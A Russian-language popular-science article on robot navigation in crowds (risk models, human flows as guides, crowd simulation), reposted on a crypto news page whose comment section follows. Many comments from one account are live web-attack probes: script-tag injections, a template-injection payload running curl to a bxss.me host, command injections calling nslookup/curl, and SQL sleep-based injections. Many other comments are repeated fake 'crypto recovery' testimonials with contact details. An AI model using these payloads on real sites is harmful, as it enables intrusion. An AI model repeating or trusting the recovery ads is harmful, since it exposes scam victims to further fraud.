Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Следуй за человеком. Об ориентировании роботов в толпе

Минувшим летом я знакомил сына с Москвой, а также с моими московскими друзьями из разных времён. Мы даже успели заглянуть в офис Хабра в компании с @Boomburum Неудивительно, что нам довелось посетить разные уголки прекрасного московского метрополитена, считая светло-синий Арбат, Смоленскую, ВДНХ, Сокол, Выхино, Некрасовку, Бауманскую и Окружную. Сын мне то и дело напоминал, что «нужно идти туда, куда больше людей идёт» - признаться, стратегия не лучшая, хотя и логичная. Развивая его идею, я предложил ему пофантазировать, как бы в московском метро ориентировался робот, на что бы он обращал внимание? На инфографики, сквозняки, расположение эскалаторов или, всё-таки, на человеческие потоки? Постепенно я пришёл к выводу, что в многолюдном пространстве именно человеческие потоки были бы самым важным ориентиром для мобильного робота, и под катом попробую разобрать этот вопрос подробнее.

Наверняка я бы и не подумал обращаться к этой теме, если бы не бесценный опыт помощи с подготовкой научных статей, приобретённый мной в 2019-2021 годах в лаборатории автономных робототехнических систем (ЛАРС) в институте СПИИРАН, бессменным руководителем которой с тех и до сих пор является уважаемый Антон Савельев.

Роботы и учёт риска

В настоящее время мобильные роботы всё активнее используются в многолюдных местах, где велик риск столкновения машины как с людьми, так и с препятствиями. Вездесущие роботы-курьеры «Яндекса» попадаются на тротуарах, пешеходных переходах, заезжают на пандусы, в торговые центры и даже в лифты. В расширительном смысле к числу таких мобильных роботов можно отнести и беспилотные автомобили, в настоящее время ориентирующиеся как по данным лазерного дальномера (лидара), так и по алгоритмам компьютерного зрения. Наиболее привычным мобильным роботом, уже вошедшим в повседневный быт и показательным для этой статьи, можно считать робот-пылесос. Он использует как ультразвуковые, так и инфракрасные датчики, а также должен учитывать движение людей и домашних животных в помещении и эффективно обходить препятствия. Более совершенные роботы, действующие, например, в торговых рядах и музеях, должны учитывать разнообразные факторы риска (хаотическое перемещение людей, притом, что человек может резко менять скорость и направление движения) и неопределённость сенсорных данных. Кроме того, в реальных условиях робот не всегда может полагаться на данные сенсоров из-за потенциальной зашумленности, интерференции, перебоев со связью и даже из-за собственного движения камеры. Робот вполне может приобретать навыки движения в толпе при помощи обучения с подкреплением (reinforcement learning), однако простого метода «проб и ошибок» в данном случае недостаточно. У робота также должно быть реализовано представление о риске. Различные варианты алгоритмов для оценки рисков находятся на стыке психологии и теории вероятностей, но у мобильного робота логика избегания рисков должна быть двоякой: не повредить себя и не навредить человеку. Разработаны такие модели оценки риска, как совокупная теория перспектив (CPT), ожидаемый риск (ER, Expected Risk), условные средние потери (CVaR), но в случае с мобильным роботом все они недостаточны, пусть и полезны. Требуется алгоритмизировать человеческое восприятие рисков – например, понять, как учится пользоваться нерегулируемым пешеходным переходом человек, не привыкший к плотному городскому трафику. Для алгоритмизации таких процессов нужно понять, как они строятся у человека. Это один из вопросов, рассматриваемых в рамках «объяснимого искусственного интеллекта» (XAI). Такая концепция помогает уводить искусственный интеллект от модели «чёрного ящика», и благодаря этому решения робота становятся понятнее, логичнее, аккуратнее и, в конечном итоге, безопаснее.

Учёт риска и работа по стратегии «play it safe» (избегание опасности) – это линейный процесс принятия решений, используемый, в частности, в навигационных алгоритмах и при прокладывании пути.

Ранее для количественной оценки рисков зачастую использовалась стратегия CVaR, вполне удобная, например, для складских колёсных роботов. Тем не менее, для людей характерны спонтанные, нелинейные и не всегда логичные приёмы принятия решений, поэтому постепенно на смену CVaR приходит CPT, более сложная в алгоритмическом отношении, но при этом учитывающая более разнообразные случаи, гибкая и надёжная. Совокупная теория полезности уже применяется при автоматическом регулировании перекрёстков, а также в сценариях, когда робот должен последовательно обойти несколько точек и собрать в них груз. Однако избегание столкновений с людьми зачастую входит в противоречие с более линейной стратегией избегания препятствий и требует длительных испытаний с участием людей. Люди, которые могут участвовать в таком испытании, доподлинно знают, что подвергаются риску, поэтому вряд ли смогут вести себя естественно. Именно поэтому развивается новая парадигма, при которой робот ориентируется на движение людей и, в более общем случае, на движение толп. В таком случае человек служит для робота «сенсором». Робот опирается на стратегию движения человека как на рациональную. При этом искусственный интеллект нарабатывает опыт методом обучения с подкреплением.

Интересно, что такие исследования подсказывают, что человек не слишком хорошо ориентируется в толпе, либо в запутанных коридорах, а также забывает, как и куда ходил в прошлый раз. Робот оттачивает человеческие стратегии поиска пути и может целенаправленно выбирать такой путь, где вероятность столкновения с человеком будет как можно ниже.

Интерактивные роботы и взаимодействие с людьми

Около 2015 года в ходе разработки беспилотных автомобилей возникла идея учить машину обходить препятствия, закладывая в неё паттерны водительского поведения. Наиболее заинтересовавшие меня фундаментальные исследования такого рода проводились в Стэнфордском университете под руководством и при активном участии Марии Иткиной. Цель этих исследований – обобщить идею «человек как живой сенсор», закладывая в машину информацию о поведении множества водителей сразу, а не обучая её на поведении одного (опытного) водителя. Идея заключается в том, что вождение должно быть, прежде всего, безопасным, а не идеальным.

Для этого была разработана совокупная модель, отражающая поведение всех водителей в потоке машин, окружающих беспилотный автомобиль. Траектория движения каждого водителя накладывается на карту препятствий, находящихся поблизости от автомобиля. Эта информация соотносится с заложенной в автомобиль картой маршрута, и движение по маршруту динамически корректируется.

Огибание препятствий, в том числе, в условиях частично заслонённого поля зрения, рассматривается и в позднейших статьях, например, в этой. Однако прокладывание маршрута среди людей не вполне аналогично движению в потоке транспорта. Большинство моделей для имитации водительского поведения реализовались для применения в городских условиях в расчёте на повышение безопасности беспилотного автомобиля. Но движение автомобиля – процесс гораздо более предсказуемый, чем движение пешехода, который может, например, срезать углы и спонтанно перестраивать маршрут. Таким образом, задача прокладывания маршрута в толпе значительно сложнее, чем алгоритмизация дорожного движения, поскольку движение толп подчиняется саморегуляции (но не жёстким правилам) и требует учитывать, в частности, социальную дистанцию и стадное поведение. Чтобы приспособить робота к движению в толпе, не обойтись без обучения с подкреплением, а также без других методов глубокого обучения, например, кластеризации. При этом задача огибания препятствий сохраняется, но решается не столько с учётом расположения препятствий, сколько исходя из движения толпы. Итак, алгоритм глубокого обучения можно интегрировать с моделью скрытого пространства, в которую вписана карта препятствий, а для обучения применять вариационный автоэнкодер.

Как моделируется движение робота в толпе

Как правило, если роботу приходится пробираться через плотные толпы людей, у него есть задача вовремя доставить некую полезную нагрузку или прибыть на место для выполнения задачи. Робот расценивает толпу как свободно текущую среду, в которой то и дело образуются заторы (из-за низкой пропускной способности узких мест) и свободные зоны, где в человеческом потоке возникают сравнительно разреженные места, и через них проще пробраться. При этом, робот должен двигаться аккуратно, чтобы не сталкиваться с людьми и не идти им наперерез слишком быстро и неожиданно. Для навигации такого рода в робота должны быть заложены информация и алгоритмы, касающиеся:

1) Формирования групп

2) Теории приближения и выдерживания личного пространства

3) Огибания препятствий

4) Ожидания своей очереди на вход

Кроме того, должна применяться традиционная система огибания препятствий, робот должен при помощи ультразвуковых и лазерных дальномеров определять расстояния до предметов, стен и людей, а также учитывать, что некоторые участки пути могут быть движущимися (эскалатор, траволатор, лифт) и располагаться под углом к основной траектории (пандус, лестница). Движение людей на таких нетипичных участках маршрута также может замедляться (на лестнице) или ускоряться (если человек предпочтёт идти по движущемуся траволатору).

Движение людей в толпе неоднородно, и для него характерна определённая кластеризация. Можно выделить группы людей, движущиеся в основных направлениях (зависящих от планировки здания или расположения пешеходных переходов), движущихся с определённой скоростью, либо начинающих вместе обходить внезапно возникшее препятствие, например, лужу с жидкостью от разбившейся бутылки. Также при помощи машинного зрения можно вычленять в толпе частично заслонённых людей, например, маленьких детей, которых ведут за руку.

Робот может определять присутствие «невидимых» людей, анализируя поведение окружающих пешеходов. В этом случае группа людей даёт роботу материал для косвенных выводов, интерпретация которых может нарабатываться либо в процессе обучения с подкреплением, либо закладываться на этапе обучения с учителем. Представление о скрытом пространстве закладывается в робота как вектор, позволяющий одновременно предугадывать движения и курс частично заслонённых и совершенно не просматривающихся из данной точки людей.

В 2022 году эти предположения были протестированы специалистами Стэнфордского университета и Университета штата Иллинойс в Урбана-Шампейн в серии экспериментов с роботом Turtlebot 2i, как в симулированной, так и в реальной среде. Пока обучение с подкреплением может использоваться только в качестве вспомогательного механизма, роботу требуется заранее давать подробную карту и модель той среды, в которой ему предстоит действовать.

22caf440c3f6c14a481a6dc529f76803.png

Все эти паттерны поддаются вероятностному обобщению в зависимости от близости к выходам, лифтам, а также в зависимости от наличия и количества дверей и турникетов и от времени суток. Робот может учитывать распределение различных ситуаций, чтобы не мешать людям (например, не превышать скорость) и не двигаться против основных человеческих потоков.

Симуляция толп

Симуляция толпы при помощи роя мобильных роботов в настоящее время активно исследуется, на Хабре эта проблема рассмотрена, например, уважаемой @moiseeva в хаброблоге университета МиСиС. Симуляция толпы – это моделирование коллективного поведения большого множества единиц или персонажей. Такая симуляция применяется в самых разных контекстах, как при моделировании «зерг раша» в компьютерных играх, так и при изучении механизмов эвакуации и построении моделей паникующей толпы. Существует два принципиально разных подхода к такой симуляции: макроскопический и микроскопический. При макроскопическом подходе толпа трактуется как однородная среда, для которой можно выводить средние значения – например, среднюю скорость и среднюю плотность. Напротив, при микроскопическом подходе каждый юнит в толпе расценивается как автономный виртуальный агент, придерживающийся собственной навигационной стратегии. Пока при работе с автономными роботами активнее используется микроскопический подход – возможно, потому, что роботы до сих пор остаются достаточно крупными.

Ранее в статье о расширении человеческого зрительного восприятия я приводил пример, как не отличающаяся острым зрением гремучая змея при выслеживании добычи одновременно ориентируется как на видимый, так и инфракрасный спектр (тепло), причём, получает эти сигналы от двух разных органов. Похожий механизм ориентирования (сочетание зрения и эхолокации) использует летучая мышь. Аналогично, в мобильных роботах обычно используется несколько видов сенсоров. Наиболее важными из них остаются оптические, поскольку активно развиваются как мобильные камеры, так и алгоритмы для распознавания, сегментирования и классификации изображений. Зачастую сложные обобщенные методы ассоциирования данных сочетаются с расширениями, специфичными для конкретной предметной области. Например, в радиолокации применяются методы JPDAF или MHT, демонстрирующие высокую производительность при работе с роями объектов или в сильно зашумленных средах. Однако при отслеживании толп они дают слишком много ложноположительных результатов. Движение людей в целом гораздо более упорядоченное и предсказуемое, чем траектории воздушных целей, поэтому робот вполне может ориентироваться в толпе при помощи лидара, одновременно картируя собственные маршруты и классифицируя встречающиеся на пути объекты. Даже некоторые роботы-пылесосы могут составить подробную карту квартиры. В мобильных роботах применяются сенсоры RGB-D для обнаружения движущихся объектов, а также более сложные алгоритмы, например, IMM (многоальтернативный фильтр, поддерживающий переход от одной модели движения к другой). Во многих трекерах движения также используется расширенный фильтр Калмана (EKF), позволяющий учитывать движение с постоянной средней скоростью и поэтому хорошо подходящий для моделирования потока пешеходов. Но, по-видимому, универсальной модели симуляции толп пока не существует, поэтому мобильному роботу приходится полагаться на обмен данными с оператором и/или на стохастическое моделирование.

Платформа для коммуникации "человек-робот"

Чтобы эксплуатация мобильного робота в помещении была ещё безопаснее и эффективнее, требуется развивать хотя бы однонаправленную коммуникацию между оператором и роботом, чтобы машина могла уточнять информацию о планировке и геометрии здания, поставленных целях и потенциальных опасностях. Также робот должен при необходимости переводиться в режим ручного управления через удалённый графический интерфейс. Платформа для такой коммуникации даже в общем виде представляется сложной системой, которая должна была бы поддерживать множество типов данных и совместную обработку входящих и исходящих запросов. Система должна «понимать» стереометрию, планировку, сети многоугольников (в том числе, прогнозировать форму ближайших помещений, например, изгибы коридоров и расположение дверей), а также работать с облаком точек, в виде которого при данной конфигурации могут быть представлены движущиеся люди. В качестве примера такой платформы можете познакомиться с инструментом Stream, разработанным компанией «Digital Points». Исходный код к симулятору зданий выложен здесь.

В настоящее время платформа используется для моделирования коллаборативных сценариев, где группа роботов выполняет задачи в рамках одного помещения или этажа и учится не мешать людям. Облако точек в данном случае представляет как людей, так и неподвижные препятствия. Роботы (речь о модели Turtlebot, упоминавшейся выше) быстро обнаруживают любые новые преграды, появляющиеся в комнате, будь то вошедший человек или новый предмет, перекрывающий роботу ранее проложенный путь. Роботы обмениваются друг с другом любой новой информацией, которую улавливают при помощи сенсоров и перепланируют путь. Такой механизм совместного движения называется «нейронный стохастический контроль», описан, например, в этой статье. Роботы обучаются в соответствии со следующим алгоритмом:

  • Определить нейронную сеть с исходными параметрами для функции управления

  • Определить контролируемую динамику для физической системы, в которой придётся работать

  • Вычислить функцию потерь и обучить сеть

  • Сгенерировать траектории движения для автономного движения и движения под управлением оператора

  • Построить график результатов

Заключение

По состоянию на 2023 год мобильные роботы в целом обладают весьма скромными навигационными возможностями, в особенности – способностями к обобщению данных. Они легко «спотыкаются» или дезориентируются в толпе, также могут заплутать на разных этажах здания, если их планировка несколько отличается. Робот может построить карту помещения в виде облака точек, только неоднократно объездив его, поэтому использование людей в качестве «поводырей» или в более общем смысле – живых навигационных сенсоров – оказывается эффективным способом обогащения и уточнения данных. Прокладка маршрута в многолюдном помещении или на улице остаётся вероятностной задачей, зачастую требует вмешательства со стороны оператора и в настоящее время реализуется как комбинация обучения с учителем и обучения с подкреплением. Также переадресую вас к одной из моих более ранних публикаций «Глубокие последствия», где кратко рассмотрено использование мобильных роботов в спелеологии. По-видимому, описанная там комбинация колёсного робота с небольшим беспилотником является одним из наиболее перспективных вариантов решения рассмотренных проблем.

По-моему, пускать роботов в метро пока рановато.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

